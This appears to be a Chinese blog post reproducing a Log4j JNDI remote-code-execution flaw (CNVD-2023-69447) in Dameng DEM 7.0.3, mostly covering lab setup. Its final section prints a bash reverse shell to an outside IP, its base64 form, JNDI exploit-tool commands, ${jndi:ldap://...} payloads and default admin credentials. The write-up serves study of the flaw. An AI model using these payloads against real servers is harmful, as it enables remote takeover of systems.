【漏洞复现】达梦7企业管理器(DEM)国产数据库 RCE(CNVD-2023-69447)

1. 漏洞描述

达梦企业管理器(DEM)是一个通过Web界面来监控、管理并维护DM数据库的集中式管理平台。
达梦企业管理器(DEM)存在命令执行漏洞,攻击者可利用该漏洞获取服务器控制权。

2. 影响版本

武汉达梦数据库股份有限公司 达梦企业管理器(DEM) 7.0.3

3. 数据库环境搭建

1. 达梦数据库DM7安装(最好用带界面的Linux,不要用命令行版)

达梦数据湖库DM7入门(三):DM7数据库安装https://zhuanlan.zhihu.com/p/125662960

跟着上边的教程走,基本没问题
安装前准备:
● 检查操作系统信息(只检查,不知道有啥用)
● 创建DM7数据库用户和组
● 设置dmdba用户环境变量
● 创建DM7数据库相关目录
● 检查操作系统限制
● 检查系统内存与存储空间
● 挂载DM7数据库软件ISO

检查操作系统信息

#检查操作系统位数
getconf LONG_BIT
#检查操作系统版本信息
lsb_releasea -a
#查询操作系统名称
uname -a
#检查glibc相关软件包是否已安装(这步不知道有什么用,我装了一下glibc,但是执行rpm还是检查不出来什么东西)
rpm -qa|grep glibc

安装glibc参考的是:https://blog.csdn.net/wq_0708/article/details/121105055

安装glibc(不知道不安装是否影响)

apt-get install glibc-source
cd /usr/src/glibc/
sudo tar -xvf glibc-[VERSION].tar.xz
cd glibc-[VERSION]
mkdir build && cd build
apt-get install gawk bison -y
../configure --prefix=/usr/local/glibc-[VERSION]
make -j4
make install

创建DM7数据库用户和组(使用root用户操作)

# 创建DM7数据库组dinstall
groupadd dinstall
# 创建DM7数据库用户dmdba
useradd -g dinstall -m -d /home/dmdba -s /bin/bash dmdba
# 修改DM7数据库用户p4ssw0rd
p_a_s_s_w_d dmdba  #脱敏这个指令去掉下划线
# 小揭师姐建议将 dmdba 添加到 sudo 用户组
sudo adduser dmdba sudo

设置dmdba用户环境变量(使用dmdba用户操作)

vim /home/dmdba/.bash_profile
# 在.bash_profile增加以下内容
export DM_HOME="/dm7/dmdbms"
export PATH=$PATH:$DM_HOME/bin:$DM_HOME/tool
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:$DM_HOME/bin"
#1.创建DM7数据库软件及其他存放目录,建议将其放在/tmp目录中,安装完后可以随时删除该目录及其中的文件
mkdir -p /tmp/dm7_install
#2.创建DM7数据库软件安装目录和赋予权限。
mkdir -p /dm7/dmdbms
chown -R dmdba:dinstall /dm7/dmdbms
#3.DM7数据库数据文件目录和赋予权限。
mkdir -p /dm7/data
chown -R dmdba:dinstall /dm7/data
vim /etc/security/limits.conf
# 在limits.conf末尾增加以下内容
*          soft   nofile    65536 
*          hard   nofile    65536

ulimt -a 检查如下几个关键资源是否合适,假如open files(-n) 不合适,要改,就执行ulimt -n 65536
data seg size (kbytes, -d) 建议设置为 1048576 以上或 unlimited
file size(blocks, -f) 建议设置为 unlimited
open files(-n) 建议设置为 65536 以上或 unlimited
virtual memory (kbytes, -v) 建议设置为 1048576 以上或 unlimited

检查系统内存与存储空间(使用root或dmdba用户操作)

#检查内存大小,注:达梦官方推荐尽量保证操作系统至少1GB的可用内存。
grep MemTotal /proc/meminfo
#检查交换空间大小
grep SwapTotal /proc/meminfo
#DM7数据库安装目录我们规划在/dm7/dmbms目录,DM7数据库完全安装需要1GB的存储空间
df -h /dm7/dmdbms
#3.检查操作系统临时空间大小
df -h /tmp

挂载DM7数据库软件ISO(使用root用户操作)

# 下边这个iso,可以去达梦官网下载,下载是压缩包,解压出来就是iso
# https://eco.dameng.com/download/?_blank
cd /tmp/dm7_install/
wget https://download.dameng.com/eco/adapter/DM7/202310/dm7_20230620_x86_rh6_64.zip
unzip dm7_20230620_x86_rh6_64.zip
mount -o loop /tmp/dm7_install/dm7_setup_rh6_64_ent_7.6.0.142_20190312.iso /mnt

在这里插入图片描述


上边算是准备好了达梦数据库的安装环境,接下来安装达梦数据库
如果在GUI的文件窗口复制更改遇到权限问题,建议在命令行输入sudo nautilus,然后就可以更改保存文件了

安装DM7数据库(使用dmdba用户)

#进入DM7数据库软件目录,我们在上面已将DM7数据库软件挂载于/mnt目录上
cd /mnt
#运行DMInstall.bin文件开始安装DM7数据库
./DMInstall.bin
# 上边这个命令会唤出达梦数据库的可视化安装界面,如果报错初始化图形界面失败,则可以执行下边步骤解决
# 使用root用户
echo $DISPLAY
# 假如上边输出的是:0,则切换为dmdba用户执行
export DISPLAY=:0

进入到图形化界面后,就默认下一步
(下边是步骤中的关键词,遇到就这样写,遇不到就直接需下一步)
跳过Key文件就行
典型安装
选择安装位置为/dm7/dmdbms
如果在安装的过程中遇到类似下方的执行配置脚本,就听从指示去做即可。
在这里插入图片描述


安装完达梦数据库后,最后会选择初始化数据库,我们可以创建数据库实例
进入到图形化界面后,就默认下一步
(下边是步骤中的关键词,遇到就这样写,遇不到就直接需下一步)
数据库模板一般用途
数据库目录/dm7/data
数据库名DAMENG、实例名DAMENG、端口号5236
控制文件啥的不用改
数据库初始化参数不用改
口令管理我这里选择了所有系统用户使用同一口令假如为dvddt1234(示例假口令,该口令要记劳)
创建示例库DMHR


到此应该已经安装好数据库,并且有实例了, 你可以通过下边两个步骤验证一下安装的数据库正不正宗。
● 你可以在命令行输入disql SYSDBA/dvddt1234@localhost:5236,然后就登录到sql交互,你再执行 select * from v$version; 就可以查看你安装的数据库版本。
● 你也可以在命令行输入manager,会打开一个DMGUI管理工具,点击菜单栏->帮助->关于,也可以看到DMGUI管理工具的版本。


接下来下来部署DEM,因为我们复现的漏洞是属于DEM( Dameng Enterprise Manager )

部署DEM可以参考/dm7/dmdbms/web/readme.txt里的步骤
也可以参考达梦数据库DEM搭建与配置

安装前准备:java环境(jdk环境)和tomcat环境

安装java环境

apt update
apt install openjdk-8-jdk
java -version

安装tomcat9.0.65环境

# 1.安装tomcat
sudo mkdir /opt/tomcat
cd /opt/tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.65/bin/apache-tomcat-9.0.65.zip
unzip apache-tomcat-9.0.65.zip
mv apache-tomcat-9.0.65/* .
rm apache-tomcat-9.0.65 -r
# 2.配置tomcat,检查tomcat是否安装能够成功运行
# 修改tomcat服务器配置,编辑/opt/tomcat/conf/server.xml
<Connector port="8080" protocol="HTTP/1.1"
 connectionTimeout="20000"
 redirectPort="8443"
 maxPostSize="-1" <!--追加配置-->
 ...
# 修改jvm启动参数,编辑/opt/tomcat/bin/catalina.sh,<path-to-dmdbms>我这里是/dm7
JAVA_OPTS="-server -Xms256m -Xmx1024m -XX:MaxPermSize=512m -Djava.library.path=/<path-to-dmdbms>/dmdbms/bin"
# /opt/tomcat/bin目录下授权并启动tomcat服务器
chmod +x *.sh
./startup.sh
# 3.检查tomcat是否成功启动,在浏览器输入localhost:8080,看到小老虎说明成功

部署DEM

# 1.创建一个数据库作为DEM后台数据库,数据库dm.ini参数配置进行优化,推荐配置:
# 我们上边已经创建过示例库了,只需要检查/dm7/data/DAMENEG/dm.ini是否满足即可
MEMORY_POOL = 200
BUFFER = 1000
KEEP = 64
MAX_BUFFER = 2000
SORT_BUF_SIZE = 50
# 2.在该数据库中执行SQL脚本dem_init.sql
disql SYSDBA/dvddt1234@localhost (进入sql命令行)
SQL> set char_code utf8
SQL> start $DM_HOME/web/dem_init.sql
# 3.配置后台数据库的连接信息(关键不能错),
# 在GUI文件系统打开$DM_HOME/web/dem.war中直接修改dem.war里WEB-INF/db.xml,其他别动
<?xml version="1.0" encoding="UTF-8"?>
<ConnectPool>
        <Dbtype>dm7</Dbtype>
        <Server>127.0.0.1</Server>   #本机ip地址
        <Port>5236</Port>				#数据库实例的端口号
        <User>SYSDBA</User>     # 你disql登录数据库的用户
        <Password>dvddt1234</Password>  # 你disql登录数据库的密码
        <InitPoolSize>50</InitPoolSize>
        <CorePoolSize>100</CorePoolSize>
        <MaxPoolSize>500</MaxPoolSize>
        <KeepAliveTime>60</KeepAliveTime>
        <DbDriver></DbDriver>
        <DbTestStatement>select 1</DbTestStatement>
        <SSLDir>../sslDir/client_ssl/SYSDBA</SSLDir>
        <SSLPassword></SSLPassword>
</ConnectPool>
# 4.将dem.war 复制到tomcat的webapps下,如果tomcat已经启动,会自动解压该包
cp /dm7/dmdbms/web/dem.war /opt/tomcat/webapps/
# 5. 在浏览器输入localhost:8080/dem/,如果看到达梦登录界面则成功,密码为admin/888888
# 如果不成功,检查解压出来的/dem/WEB-INF/db.xml,连接数据库的信息是否正确。
# 如果要重启tomcat服务器
cd /opt/tomcat/bin
./shutdown.sh
./startup.sh

在这里插入图片描述

看到此说明DEM部署成功。


2. 准备漏洞复现环境

准备漏洞复现环境
参考DM-DEM修补Log4j2远程代码执行漏洞修补Log4j2远程代码执⾏漏洞,可直接对当前 DEM 的 Log4j 组件进行降级或升级替换便于测试,替换完成后重启 Tomcat
我的webapps/dem/WEB-INF/lib里的log4j-core-2.12.4.jarlog4j-api-2.12.4.jar升级到了2.14.0才成功复现漏洞。

替换webapps/dem/WEB-INF/lib里的log4j组件版本

# 随便找个地方存放log4j第三方组件,然后将webapps/dem/WEB-INF/lib里的组件进行替换就行了
wget https://archive.apache.org/dist/logging/log4j/2.14.0/apache-log4j-2.14.0-bin.tar.gz
tar zxvf  apache-log4j-2.14.0-bin.tar.gz
# 重启tomcat

poc在仓库不同的分支http://xxx/red-x/x_test_poc/-/tree/dm7-dem-log4j-db-connection/dm7-dem-log4j-db-connection

4. 复现过程

漏洞手工验证

手工验证,可以用${java:os},或${java:runtime}来验证,触发报错后,在/opt/tomcat/log/opt/tomcat/webapps/dem/log里查看日志可以看到恶意代码被执行,证明了漏洞存在。
在这里插入图片描述
在这里插入图片描述

但是作为攻击者我们通常不会登录到受害者的机子上看日志,并且在前端也没有回显恶意代码执行的痕迹,就需要借助如下的带外攻击手段,验证恶意代码被执行。
在这里插入图片描述

反弹shell尝试

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"-A 10.202.22.76

# 1. 准备反弹shell命令  # 监听器 nc -lvnp 9001
bash -i >& /dev/tcp/10.202.22.76/9001 0>&1
# 2.反弹shell命令 base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx
# 3.jndi工具
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 10.202.22.76

jndi接收到了回连,但是到nc不知道为啥一直不通,下去后我再研究一下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMjYuMjU0Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 8.130.126.254

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 8.130.126.254 ${jndi:ldap://8.130.126.254:1389/Basic/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMjYuMjU0Lzg5ODkgMD4mMQ==}

JNDIExploit-1.4-SNAPSHOT.jar工具执行也反弹不成功
在这里插入图片描述

1达梦数据库DEM远程命令执行漏洞(db_connection)
在这里插入图片描述

2 达梦数据库DEM远程命令执行漏洞(dma_alert)
在这里插入图片描述

3 达梦数据库DEM远程命令执行漏洞(preference)
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值